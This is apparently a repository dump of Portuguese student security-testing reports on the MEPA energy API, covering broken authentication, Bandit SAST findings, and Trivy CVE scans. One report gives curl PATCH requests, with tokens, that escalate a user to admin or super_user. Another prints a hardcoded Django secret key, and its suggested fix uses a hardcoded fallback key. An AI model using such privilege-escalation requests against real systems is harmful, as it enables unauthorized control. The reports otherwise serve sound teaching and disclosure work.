https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test3.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/211029666_test4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test4.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/211029666_test5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test5.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/21102966_test1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/21102966_test1.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/image1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image1.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/image2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image2.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/image3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image3.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/image4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/image4.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_2/grupo_1.md:
--------------------------------------------------------------------------------
1 | # Sprint 2 - Broken Authentication
2 |
3 | ## O que é Autenticação
4 |
5 | A autenticação, é o processo de verificar se uma pessoa, sistema ou recurso realmente possui certas características ou atributos que ele afirma ter. Ou seja, quando você faz login em um site, o sistema verifica se a sua senha corresponde ao que ele tem registrado, para garantir que você é quem diz ser. A autenticação é a primeira linha de defesa contra acessos não autorizados em sistemas e aplicativos web. Ela pode ser realizada por diferentes métodos, como baseados em conhecimento (como senhas e PINs), baseados em posse (como cartões de identificação e dispositivos de autenticação) e baseados em características pessoais (como biometria, incluindo impressões digitais e reconhecimento facial). Além disso, a autenticação pode ser única, quando utiliza apenas um método, ou multifatorial (MFA), quando combina dois ou mais métodos para aumentar a segurança, como é o caso da autenticação de dois fatores (2FA).
6 |
7 | ## Ataques na Autenticação
8 |
9 | ### Ataques à Autenticação Baseada em Conhecimento
10 |
11 | Esse método de autenticação depende de informações pessoais estáticas, que podem ser obtidas, adivinhadas ou forçadas.
12 |
13 | ### Ataques à Autenticação Baseada em Posse
14 |
15 | Um benefício da autenticação baseada em posse é sua resistência a ameaças cibernéticas comuns. Métodos de autenticação que dependem de itens físicos, como tokens de hardware ou cartões inteligentes, são geralmente mais seguros, pois é mais difícil para os atacantes adquirir ou replicar objetos físicos do que obter informações por phishing ou vazamentos de dados.
16 |
17 | ### Ataques à Autenticação Baseada em Herança
18 |
19 | A autenticação baseada em herança, como o uso de biometria, oferece conveniência e facilidade de uso, pois os usuários não precisam lembrar senhas complexas ou carregar tokens físicos. Os sistemas de autenticação baseados em herança devem lidar com preocupações sobre privacidade, segurança de dados e possíveis preconceitos nos algoritmos de reconhecimento biométrico para garantir a adoção e confiança generalizada.
20 |
21 | ## Relatório de Estudo - Módulo: Vulnerabilidades de Autenticação em Aplicações Web
22 |
23 | Neste módulo, o foco principal foi entender as vulnerabilidades e configurações incorretas relacionadas à autenticação em aplicativos web, que podem ser exploradas para obter acesso não autorizado. Durante o curso, foram abordados diversos métodos de autenticação, técnicas de ataque e falhas no gerenciamento de sessões. As principais áreas de estudo incluem:
24 |
25 | ## 1. Visão Geral dos Métodos de Autenticação e Ataques
26 | Estudamos os diferentes métodos usados para autenticação em sistemas web, como senhas, tokens e autenticação multifatorial. Também foram apresentados ataques comuns que visam comprometer esses métodos, como ataques de força bruta e outros tipos de vulnerabilidades.
27 |
28 | ## 2. Ataques de Força Bruta à Autenticação
29 | Exploração de técnicas que permitem a automação de tentativas de senha, visando quebrar credenciais de usuários por tentativa e erro.
30 |
31 | ## 3. Ataques à Autenticação Baseada em Senha
32 | Fomos introduzidos aos riscos associados à autenticação baseada em senha, como o uso de senhas fracas ou a exposição de senhas em texto claro.
33 |
34 | ## 4. Bypass de Autenticação
35 | Estudamos técnicas que permitem contornar os mecanismos de autenticação de um sistema, acessando recursos sem a devida autorização.
36 |
37 | ## 5. Ataques ao Tratamento Impróprio de Sessões
38 | Analisamos como falhas no gerenciamento de sessões podem ser exploradas para manter sessões ativas indevidamente ou roubar sessões de outros usuários.
39 |
40 | O módulo foi composto por sessões teóricas seguidas de exercícios práticos, proporcionando uma compreensão mais profunda das táticas e técnicas mencionadas. Os exercícios práticos foram realizados no ambiente de laboratório fornecido, o PwnBox, ou em uma máquina virtual pessoal, com comandos de exemplo e saídas para reforçar o aprendizado.
41 |
42 | Ao final, o módulo incluiu uma avaliação prática, que testou as habilidades adquiridas ao longo do curso. Concluímos que a prática contínua e a execução dos exemplos apresentados são essenciais para consolidar os conceitos e estratégias de mitigação das vulnerabilidades de autenticação.
43 |
44 | # Aplicação no MEPA
45 |
46 | ## Enumeração de Usuários
47 |
48 | ## Resumo sobre a Impossibilidade de Aplicar Enumeração de Usuários
49 |
50 | Não foi possível aplicar a técnica de enumeração de usuários, pois o sistema utiliza **email** como identificador para o login. Além disso, a mensagem de erro retornada para credenciais incorretas não diferencia se o usuário não existe ou se apenas a senha está errada. A mensagem apresentada é genérica: "**e-mail não cadastrado e/ou senha inválida**", o que impede a exploração da vulnerabilidade.
51 |
52 | ## Senhas por força bruta
53 | ### Desafios Enfrentados na Execução do Teste
54 |
55 | No projeto em questão, a intenção era criar um usuário para entender o padrão de criação de credenciais e reduzir a amostra de senhas possíveis para otimizar o brute-force. No entanto, os passos e padrões de criação das credenciais foram enviados por e-mail, mas eu não consegui receber esse e-mail. Sem essas informações, a redução da amostra de senhas tornou o ataque muito mais desafiador.
56 | Conclusão
57 |
58 | O ataque de brute-force seria eficaz apenas se fosse possível determinar um usuário válido, com a credencial sendo a única variável desconhecida. Sem conhecer o padrão de criação das senhas, o ataque se torna difícil, pois a amostra de senhas a ser testada permanece ampla. Para um ataque bem-sucedido, é necessário entender os padrões de senha para otimizar o processo e aumentar as chances de sucesso.
59 |
60 | ## Tokens de redefinição de senha por força bruta
61 |
62 | A etapa de identificação do token de reset de senha depende do envio de um e-mail contendo o token necessário para validar a solicitação de recuperação de senha. No entanto, devido à impossibilidade de receber o e-mail, não foi possível acessar o token e, portanto, não foi viável realizar a análise ou aplicar o teste relacionado à validação do token.
63 |
64 | ### Ataques a Tokens de Sessão
65 |
66 | Os ataques a tokens de sessão descritos, como brute-force e a manipulação de tokens previsíveis, não são aplicáveis ao projeto, pois o sistema em questão utiliza tokens altamente aleatórios e seguros, gerados com o algoritmos criptográficos Devido à aleatoriedade desses tokens e à natureza do algoritmo utilizado, não é viável adivinhar ou manipular os tokens para obter acesso não autorizado.
67 |
68 | Além disso, o projeto não emprega tokens de sessão codificados ou manipuláveis, o que torna os ataques descritos, como a alteração de cookies ou a exploração de tokens previsíveis, inviáveis no contexto do projeto. Dessa forma, tais vulnerabilidades não são relevantes para o cenário analisado.
69 |
70 | Exemplo:
71 |
72 | 1 - 3916d80000febe4db35759bd0f89010ca3dda193
73 | 2 - 75d97f9d0471367134110e380b4ad1fdd6b71f17
74 | 3 - b857b771e690b73f2d96f6c2042a29ba004ed201
75 |
76 | # Vulnerabilidade encontrada
77 |
78 | Foi identificado que é possível alterar a autorização de um usuário por meio de
79 | um acesso não autorizado. Por exemplo, um usuário com perfil operacional consegue
80 | alterar seu tipo para "gestor", o que não deveria ocorrer.
81 |
82 | ## Exemplo de Comportamento Inesperado
83 |
84 | Ao acessar o perfil de um usuário operacional, recebemos a seguinte resposta do
85 | servidor. Podemos observar que, no campo `"type"`, o valor é `"university_user"`.
86 | Isso nos permite deduzir que o tipo `"university_admin"` possui mais privilégios.
87 |
88 | ```json
89 | {
90 | "id": 2,
91 | "url": "http://localhost:8000/api/users/2/",
92 | "firstName": "João",
93 | "lastName": "da Silva",
94 | "universityName": "UFMG - Universidade Federal de Minas Gerais",
95 | "email": "admin@ufmg.br",
96 | "type": "university_user",
97 | "accountPasswordStatus": "OK",
98 | "haveResetPasswordTokenEnable": false,
99 | "createdOn": "2024-12-09T19:07:21.310022"
100 | }
101 | ```
102 |
103 | É possível alterar esse atributo do usuário, especificamente o campo "type",
104 | enviando uma requisição PATCH para a mesma URL que foi utilizada para o GET do
105 | usuário, com o corpo da requisição contendo o valor "type": "super_user".
106 |
107 | ## Exemplo de Requisição curl para Alteração:
108 | ```
109 | curl --location --request PATCH 'http://localhost:8000/api/university-user/2/' \
110 | --header 'Referer: http://localhost:3000/' \
111 | --header 'authorization: Token 634363bf594831b3f23e01da566436b13ddb5b8d' \
112 | --data '{
113 | "type":"university_admin"
114 | }'
115 | ```
116 | Ao realizar essa requisição, recebemos o status HTTP 200 OK e, ao atualizar a
117 | página, o perfil do usuário é alterado para uma nova Role/autorização de "gestor".
118 |
119 | ### Resposta do Servidor:
120 |
121 | ```json
122 | {
123 | "id": 2,
124 | "url": "http://localhost:8000/api/university-user/2/",
125 | "firstName": "João",
126 | "lastName": "da Silva",
127 | "email": "admin@ufmg.br",
128 | "type": "university_admin",
129 | "createdOn": "2024-12-09T19:07:21.310022",
130 | "university": 1
131 | }
132 | ```
133 | Agora, o usuário tem privilégios de gestão, podendo criar novos usuários com
134 | permissões de "gestor", gerenciar as pessoas da universidade e realizar todas
135 | as ações que um gestor pode executar no aplicativo, mesmo sem ter a autorização
136 | adequada. Esse comportamento ocorre porque a rota não verifica a autorização do
137 | usuário antes de permitir a alteração do valor do campo "type". Isso configura
138 | uma vulnerabilidade grave em qualquer sistema.
139 |
140 | ## Alteração para Super Usuário
141 |
142 | Além disso, é possível alterar o tipo de usuário para "super_user", o que concede
143 | a capacidade de gerenciar pessoas de todas as instituições e
144 | até mesmo as próprias instituições.
145 |
146 | ### Exemplo de Requisição curl para Elevar para Super Usuário:
147 | ```
148 | curl --location --request PATCH 'http://localhost:8000/api/university-user/2/' \
149 | --header 'Referer: http://localhost:3000/' \
150 | --header 'authorization: Token 8f533fa75dc1ab6af3dabf1fbdf166c28a38ba48' \
151 | --header 'Content-Type: application/json' \
152 | --data '{
153 | "type":"super_user"
154 | }'
155 | ```
156 | Essa vulnerabilidade é extremamente crítica, pois permite que usuários não
157 | autorizados assumam funções administrativas e ganhem controle sobre todos
158 | os dados e operações do sistema.
159 | # Conclusão
160 |
161 | A análise de vulnerabilidades de autenticação mostrou-se limitada devido a falhas
162 | no recebimento de e-mails cruciais para a execução de testes como brute-force e a
163 | análise de tokens. Além disso, o sistema em questão adota boas práticas de segurança,
164 | como o uso de tokens altamente aleatórios, o que torna ataques de manipulação e
165 | brute-force ineficazes. Outro ponto importante foi a utilização de mensagens genéricas
166 | no caso de erro de autenticação, como "e-mail não cadastrado e/ou senha inválida".
167 | Essa abordagem impede a enumeração de usuários e dificulta a aplicação de ataques
168 | de força bruta, já que não é possível distinguir se o erro ocorreu devido a um usuário
169 | inexistente ou uma senha incorreta. Essas medidas contribuem para a segurança geral do
170 | sistema, tornando-o mais resistente a tentativas de acesso não autorizado.
171 |
172 | Entretanto, foi identificada uma vulnerabilidade grave relacionada à falta de verificação
173 | de autorização antes de alterar os privilégios de usuários. A manipulação do campo "type"
174 | permite que usuários não autorizados elevem seus próprios privilégios para "gestor" ou até
175 | "super usuário", o que pode comprometer o controle e a segurança do sistema. Essa falha expõe
176 | o sistema a um risco significativo, permitindo que qualquer usuário com acesso básico altere suas
177 | permissões, resultando em um controle indevido sobre as operações do sistema e afetando toda a gestão
178 | de usuários e dados sensíveis.
179 |
180 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_2/grupo_3.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 2 - Broken Authentication
2 |
3 | ## Membros
4 |
5 | | Nome | Matrícula |
6 | | :--: | :-------: |
7 | | [Mateus Fidelis](https://github.com/MatsFidelis) | 200073184 |
8 | | [Pablo Guilherme](https://github.com/PabloGJBS) | 200025791 |
9 | | [Pedro Lucas](https://github.com/AlefMemTav) | 190115548 |
10 | | [Rafael Bosi](https://github.com/strangeunit28) | 211029559 |
11 |
12 | ## Sobre
13 | Este relatório é destinado a documentar as descobertas...
14 |
15 | ## O que é Broken Authentication
16 |
17 | ## Exemplo de Broken Authetication
18 |
19 | ## Teste de Broken Authentication na API do MEC Energia
20 |
21 | ## Dificuldades encontradas
22 |
23 | ### Mateus Fidelis
24 |
25 |
26 | ### Pablo Guilherme
27 |
28 |
29 | ### Pedro Lucas
30 |
31 |
32 | ### Rafael Bosi
33 |
34 |
35 | ## Referências
36 |
37 |
38 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_2/grupo_4.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 2 - Verificação de Informações Sensíveis usando SAST
2 |
3 | ## **Introdução**
4 | Dando continuidade ao trabalho iniciado na Sprint 1, este relatório detalha a análise focada na detecção de informações sensíveis no código da API **mec-energia-api**. Utilizamos os resultados da ferramenta **Bandit** para identificar a presença de informações como APIs, usuários e senhas hardcoded, além de outros dados sensíveis que possam comprometer a segurança do projeto.
5 |
6 | ## **Análise de Informações Sensíveis**
7 |
8 | O Bandit fornece verificações específicas para detectar padrões que indicam a presença de informações sensíveis. Durante esta sprint, priorizamos a inspeção de códigos relacionados às seguintes vulnerabilidades:
9 |
10 | ### **Padrões Verificados**
11 | - **Chaves de API (B105)**: Detecta uso de chaves de API expostas em arquivos específicos.
12 | - **Senhas hardcoded (B106)**: Verifica senhas armazenadas diretamente no código.
13 | - **Credenciais de usuários (B107)**: Identifica strings que podem conter credenciais expostas.
14 | - **Outros dados sensíveis**: Strings específicas que indicam informações sigilosas.
15 |
16 | ### **Execução e Configuração**
17 |
18 | #### Configuração da Pipeline
19 | O mesmo pipeline configurado na Sprint 1 foi reutilizado. Alterações foram feitas para priorizar a detecção de informações sensíveis.
20 |
21 | ```yaml
22 | sast:
23 | stage: test
24 | image: python:3.11
25 | before_script:
26 | - pip install bandit
27 | script:
28 | - bandit -r . -f json -o sast-report.json
29 | - bandit -r . -f json -o sast-password-report.json -c .bandit.yml
30 | artifacts:
31 | reports:
32 | sast: sast-report.json
33 | sast-password: sast-password-report.json
34 | expire_in: 1 week
35 | ```
36 |
37 | #### Comando Local para Verificação de Informações Sensíveis
38 |
39 | Para rodar localmente, o comando abaixo foi utilizado:
40 |
41 | ```bash
42 | bandit -r . -f json -o sast-password-report.json -c .bandit.yml
43 | ```
44 |
45 | O arquivo `.bandit.yml` foi configurado para priorizar verificações relacionadas a informações sensíveis, removendo tests e scripts dos arquivos testados ja que não são necessários para a análise de informações sensíveis.
46 |
47 | ```yaml
48 | # Configuração do .bandit.yml para análise de informações sensíveis
49 | tests:
50 | - B105
51 | - B106
52 | - B107
53 |
54 | skips: []
55 |
56 | exclude_dirs: ["./scripts/*", "./tests/*"]
57 | ```
58 |
59 |
60 | ## **Resultados Obtidos**
61 |
62 | ### **Relatório de Vulnerabilidades**
63 | A análise identificou os seguintes problemas de segurança:
64 |
65 | - **1 Senha hardcoded** detectada, que comprometeria a assinatura criptográfica da aplicação.
66 | - **0 Chaves de API expostas** identificadas.
67 | - **0 Credenciais de usuário expostas** encontradas.
68 |
69 | #### Resumo dos Achados:
70 | | Tipo de Informação Sensível | Ocorrências | Arquivo(s) Afetado(s) |
71 | |-----------------------------|-------------|-----------------------|
72 | | Senhas hardcoded | 1 | `/mec_energia/settings/development.py` |
73 | | Chaves de API | 0 | |
74 | | Credenciais de Usuário | 0 | |
75 |
76 |
77 | ### **Senha hardcoded encontrada**
78 |
79 | **Arquivo:** `./mec_energia/settings/development.py`
80 | - **Linha:** 11
81 | - **Código:** `SECRET_KEY = "django-insecure-#123!@#$%^&*()_+"`
82 | - **Severidade:** Altíssima
83 | - **Descrição:** A chave `SECRET_KEY` é usada para fornecer assinatura criptográfica e deve ser definido com um valor exclusivo e imprevisível. Está hardcoded no arquivo de configuração `development.py`, o que pode comprometer a segurança da aplicação. É gerado usando um processo bem conhecido a partir de uma fonte de entropia cuja qualidade e segurança não podem ser garantidas (pelo Django).
84 | - **Mais Informações:** [Documentação de segurança do Django](https://docs.djangoproject.com/en/5.1/ref/settings/#secret-key), [Documentação do Bandit B105](https://bandit.readthedocs.io/en/1.8.0/plugins/b105_hardcoded_password_string.html)
85 |
86 | ## **Análise Comparativa com o OWASP Top 10**
87 |
88 | A presença de informações sensíveis hardcoded no código, como senhas, chaves de API e outros segredos, está diretamente alinhada com os riscos destacados pelo OWASP Top 10, em especial os seguintes itens:
89 |
90 | ### A01:2021 – Broken Access Control
91 | - **Descrição no OWASP**: Falhas em controles de acesso permitem que usuários não autorizados acessem funcionalidades ou dados restritos.
92 | - **Relevância**: Expor a `SECRET_KEY` pode comprometer a integridade das assinaturas criptográficas, possibilitando a criação de tokens falsos, o que pode violar restrições de acesso e expor dados sensíveis.
93 |
94 | ### A02:2021 – Cryptographic Failures
95 | - **Descrição no OWASP**: Dados sensíveis expostos devido ao uso incorreto ou fraco de algoritmos e práticas criptográficas.
96 | - **Relevância**: Uma `SECRET_KEY` hardcoded é um exemplo claro de má prática em segurança criptográfica. Caso a chave seja comprometida, todas as funcionalidades que dependem dela, como sessões, tokens e assinaturas, ficam vulneráveis.
97 |
98 | ### A04:2021 – Insecure Design
99 | - **Descrição no OWASP**: Falta de práticas de segurança integradas ao design do sistema.
100 | - **Relevância**: Armazenar senhas ou chaves diretamente no código é um exemplo de um design inseguro. Um design seguro prevê o uso de práticas como variáveis de ambiente ou ferramentas de gerenciamento de segredos.
101 |
102 | ### A05:2021 – Security Misconfiguration
103 | - **Descrição no OWASP**: Configurações de segurança incorretas ou padrão podem expor o sistema a ataques.
104 | - **Relevância**: Hardcoding de informações sensíveis pode ser visto como uma configuração insegura que facilita a exploração de vulnerabilidades por atacantes.
105 |
106 | ## **Ações de Correção para a Senha Hardcoded**
107 |
108 | 1. **Remover a `SECRET_KEY` do Código Fonte:**
109 | - Utilize variáveis de ambiente para definir a `SECRET_KEY`.
110 | - Exemplo em Python:
111 | ```python
112 | import os
113 | SECRET_KEY = os.getenv('SECRET_KEY', 'default-fallback-key')
114 | ```
115 |
116 | 2. **Configurar uma Ferramenta de Gerenciamento de Segredos:**
117 | - Ferramentas como AWS Secrets Manager, Azure Key Vault ou HashiCorp Vault podem ser usadas para armazenar e acessar valores sensíveis de forma segura.
118 |
119 | 3. **Adicionar a `SECRET_KEY` ao Ambiente:**
120 | - No ambiente de desenvolvimento, defina a variável de ambiente:
121 | ```bash
122 | export SECRET_KEY="django-insecure-#123!@#$%^&*()_+"
123 | ```
124 | - Em servidores de produção, utilize configurações específicas do provedor de hospedagem para definir variáveis de ambiente.
125 |
126 | 4. **Adicionar o Arquivo de Configuração ao `.gitignore`:**
127 | - Caso use um arquivo local para armazenar segredos durante o desenvolvimento, garanta que ele não seja versionado:
128 | ```bash
129 | echo ".env" >> .gitignore
130 | ```
131 |
132 | 5. **Rotacionar Chaves Comprometidas:**
133 | - Gere uma nova `SECRET_KEY` para substituir a chave comprometida.
134 | - Exemplo de geração no Django:
135 | ```bash
136 | python -c 'from django.core.management.utils import get_random_secret_key; print(get_random_secret_key())'
137 | ```
138 | - Atualize todas as instâncias da aplicação com a nova chave.
139 |
140 | 6. **Monitoramento Contínuo:**
141 | - Integre ferramentas de SAST como o Bandit no pipeline para evitar novos hardcoded de segredos.
142 |
143 |
144 | ## **Recomendações Futuras**
145 |
146 | - **Monitoramento contínuo**: Implementar ferramentas complementares como o GitLeaks para verificar informações sensíveis em históricos de commits.
147 | - **Treinamento da equipe**: Promover workshops sobre boas práticas no uso de informações sensíveis.
148 | - **Políticas de revisão**: Atualizar os critérios de revisão de código para incluir inspeção de informações sensíveis.
149 |
150 |
151 | A detecção e remoção de informações sensíveis fortalecem a segurança do projeto e previnem riscos relacionados à exposição acidental de dados. Na próxima sprint, o foco será automatizar ainda mais os processos de segurança e expandir a cobertura de testes.
152 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_3/grupo_4.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 3 - Análise do Container Docker com Trivy
2 |
3 | ## **Introdução**
4 | Neste relatório, detalhamos a experiência ao configurar e utilizar o **Trivy** como ferramenta de análise de segurança para detectar vulnerabilidades e informações sensíveis na imagem Docker utilizada pelo projeto **mec-energia-api**. O Trivy foi integrado ao pipeline `.gitlab-ci.yml` e também configurado para rodar manualmente, facilitando a identificação de problemas relacionados a dependências desatualizadas, configurações inseguras e segredos expostos.
5 |
6 | ---
7 |
8 | ## **Como o Trivy funciona**
9 |
10 | O **Trivy Scanner** é uma ferramenta de segurança que realiza análises rápidas e precisas para identificar vulnerabilidades e informações sensíveis. Ele suporta diversas camadas e formatos de análise, permitindo sua aplicação em diferentes contextos de segurança.
11 |
12 | ### **Principais Funcionalidades**
13 | 1. **Análise de Vulnerabilidades em Dependências**: Detecta falhas de segurança em bibliotecas e pacotes utilizados no projeto.
14 | 2. **Verificação de Imagens Docker**: Inspeciona todas as camadas da imagem para identificar dependências vulneráveis e configurações inseguras.
15 | 3. **Detecção de Informações Sensíveis**: Localiza segredos como chaves de API, senhas hardcoded e outros dados confidenciais.
16 | 4. **Verificação de Infraestrutura como Código (IaC)**: Analisa arquivos como Terraform, Kubernetes e CloudFormation em busca de configurações inseguras.
17 | 5. **Integração com Pipelines CI/CD**: Automatiza verificações em pipelines de integração contínua.
18 |
19 | ### **Etapas de Funcionamento**
20 | 1. **Coleta de Dados**:
21 | - Extrai informações de pacotes, dependências e configurações da imagem Docker ou do código analisado.
22 | 2. **Consulta ao Banco de Dados de Vulnerabilidades**:
23 | - Verifica os pacotes analisados contra bancos de dados de vulnerabilidades como NVD, Alpine SecDB, Red Hat CVE Database, entre outros.
24 | 3. **Análise de Informações Sensíveis**:
25 | - Realiza uma varredura no código em busca de padrões que indiquem a presença de dados sigilosos.
26 | 4. **Geração de Relatórios**:
27 | - Produz relatórios detalhados (em formatos como JSON ou tabela), com informações sobre as vulnerabilidades encontradas, severidade e recomendações de correção.
28 |
29 | ---
30 |
31 | ## **Execução na Pipeline**
32 |
33 | ### Configuração no `.gitlab-ci.yml`
34 | Adicionamos o seguinte trecho ao pipeline para integrar o trivy seguindo as recomendações da [documentação oficial](https://trivy.dev/latest/tutorials/integrations/gitlab-ci/):
35 |
36 | ```yaml
37 | trivy:
38 | stage: test
39 | image: docker:stable
40 | services:
41 | - name: docker:dind
42 | entrypoint: ["env", "-u", "DOCKER_HOST"]
43 | command: ["dockerd-entrypoint.sh"]
44 | variables:
45 | DOCKER_HOST: tcp://docker:2375/
46 | DOCKER_DRIVER: overlay2
47 | # See https://github.com/docker-library/docker/pull/166
48 | DOCKER_TLS_CERTDIR: ""
49 | IMAGE: trivy-ci-test:$CI_COMMIT_SHA
50 | before_script:
51 | - export TRIVY_VERSION=$(wget -qO - "https://api.github.com/repos/aquasecurity/trivy/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/')
52 | - echo $TRIVY_VERSION
53 | - wget --no-verbose https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz -O - | tar -zxvf -
54 | allow_failure: true
55 | script:
56 | # Build image
57 | - docker build -t $IMAGE .
58 | # Build report
59 | - ./trivy --exit-code 0 --cache-dir .trivycache/ --no-progress --format template --template "@contrib/gitlab.tpl" -o gl-container-scanning-report.json $IMAGE
60 | # Print report
61 | - ./trivy --exit-code 0 --cache-dir .trivycache/ --no-progress --severity HIGH $IMAGE
62 | # Fail on severe vulnerabilities
63 | - ./trivy --exit-code 1 --cache-dir .trivycache/ --severity CRITICAL --no-progress $IMAGE
64 | cache:
65 | paths:
66 | - .trivycache/
67 | # Enables https://docs.gitlab.com/ee/user/application_security/container_scanning/ (Container Scanning report is available on GitLab EE Ultimate or GitLab.com Gold)
68 | artifacts:
69 | reports:
70 | container_scanning: gl-container-scanning-report.json
71 | ```
72 |
73 | ## **Execução manual**
74 |
75 | Para rodar o Trivy manualmente, siga os passos abaixo:
76 |
77 | ### Pré-requisitos
78 | Certifique-se de que o Python e o Trivy estão instalados no ambiente local:
79 |
80 | ```pip install bandit```
81 |
82 | ### Comando para análise
83 |
84 | - Para gerar um relatório em JSON:
85 |
86 | ```trivy image mepa-api:latest-dev```
87 |
88 | - Para filtrar corrigidos e não afetados:
89 |
90 | ```trivy image mepa-api:latest-dev --ignore-status fixed,not_affected```
91 |
92 | #### Teste do comando:
93 | ![][running]
94 |
95 | #### Exemplo de resultados:
96 | ![][results]
97 |
98 | ---
99 |
100 | ## **Resultados Obtidos**
101 |
102 | ### **Relatório de Vulnerabilidades**
103 | A análise identificou os seguintes problemas de segurança:
104 |
105 | - **1 Senha hardcoded** detectada, que comprometeria a assinatura criptográfica da aplicação.
106 | - **0 Chaves de API expostas** identificadas.
107 | - **0 Credenciais de usuário expostas** encontradas.
108 |
109 | #### Resumo dos Achados:
110 | | Nível de Criticalidade | Ocorrências | Biblioteca |
111 | |-----------------------------|-------------|-----------------------|
112 | | CRITICAL | 1 | `zlib1g` |
113 | | HIGH | 10 | `libexpat1, libgssapi-krb5-2, libk5crypto3, libkrb5-3, libkrb5support0, libldap-2.5-0, libperl5.36, perl, perl-base, perl-modules-5.36` |
114 | | MEDIUM | 16 | `libexpat1, libgcrypt20, libncursesw6, libpam-modules, libpam-modules-bin, libpam-runtime, libpam0g, libtinfo6, login, ncurses-base, ncurses-bin, passwd` |
115 | | LOW | 82 | `apt,bash,bsdutils,coreutils,coreutils,gcc-12-base,gcc-12-base,gpgv,libapt-pkg6.0,libblkid1,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc-bin,libc6,libc6,libc6,libc6,libc6,libc6,libc6,libexpat1,libexpat1,libgcc-s1,libgcc-s1,libgcrypt20,libgnutls30,libgssapi-krb5-2,libgssapi-krb5-2,libgssapi-krb5-2,libk5crypto3,libk5crypto3,libk5crypto3,libkrb5-3,libkrb5-3,libkrb5-3,libkrb5support0,libkrb5support0,libkrb5support0,libldap-2.5-0,libldap-2.5-0,libldap-2.5-0,libldap-2.5-0,libmount1,libperl5.36,libperl5.36,libsmartcols1,libsqlite3-0,libstdc++6,libstdc++6,libsystemd0,libsystemd0,libsystemd0,libsystemd0,libudev1,libudev1,libudev1,libudev1,libuuid1,login,login,login,login,mount,passwd,passwd,passwd,passwd,perl,perl,perl-base,perl-base,perl-modules-5.36,perl-modules-5.36,sysvinit-utils,tar,tar,util-linux,util-linux-extra` |
116 | |----|----|----|
117 | | **Total** | **109** | **46** |
118 |
119 | ## **Vulnerabilidades Notáveis**
120 |
121 | ### **CVE-2023-45853**
122 | - **Biblioteca**: **zlib1g**
123 | - **Versão**: **1:1.2.13.dfsg-1**
124 | - **Criticalidade**: **CRITICAL**
125 | - **Status**: **will_not_fix**
126 | - **Descrição**: O MiniZip no zlib até a versão 1.3 possui um estouro de inteiro e um subsequente **buffer overflow** baseado em heap na função zipOpenNewFileInZip4_64 devido a um nome de arquivo longo, comentário ou campo extra. NOTA: O MiniZip não é uma parte suportada do produto zlib.
127 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável. **NOTA: O pyminizip até a versão 0.2.6 também é vulnerável porque inclui uma versão afetada do zlib e expõe o código do MiniZip aplicável através de sua API de compressão.**
128 | - **Buffer Overflow**
129 | - **Descrição**: Um **buffer overflow** ocorre quando um programa tenta armazenar mais dados em um buffer do que ele foi projetado para conter. Isso geralmente resulta em corrupção de memória e pode levar a falhas de segurança. No caso do zlib, o **buffer overflow** é causado por um nome de arquivo longo, comentário ou campo extra. Atacantes podem explorar essa vulnerabilidade para **executar código malicioso**, **escalonar privilégios** ou causar uma **negação de serviço**.
130 |
131 |
132 |
133 |
134 |
135 |
136 | ### **TEMP-0841856-B18BAF**
137 | - **Biblioteca**: **bash**
138 | - **Versão**: **5.2.15-2+b7**
139 | - **Criticalidade**: **HIGH**
140 | - **Status**: **affected**
141 | - **Descrição**: Escalonamento de privilégios possível para outro usuário que não seja root. Quando o usuário é root (uid == 0), a variável PS4 não deve ser importada do ambiente, pois poderia ser manipulada de forma maliciosa, expondo comandos sensíveis.
142 | - **Recomendação**: Atualizar para uma versão mais recente que não seja vulnerável ou **bloquear o uso de PS4**. No entanto, o problema ainda poderia ser explorado caso um processo alterasse seu uid para um valor diferente de 0 usando o comando setuid(), mas essa situação seria menos grave.
143 | - **Escalonamento de Privilégios**
144 | - **Descrição**: O escalonamento de privilégios ocorre quando um usuário comum obtém acesso a recursos ou privilégios que normalmente são restritos a usuários administrativos. No caso do bash, a variável PS4 pode ser manipulada para executar comandos sensíveis com privilégios elevados. Isso pode ser explorado por usuários maliciosos para **obter acesso não autorizado a sistemas ou informações confidenciais**.
145 |
146 |
147 |
148 |
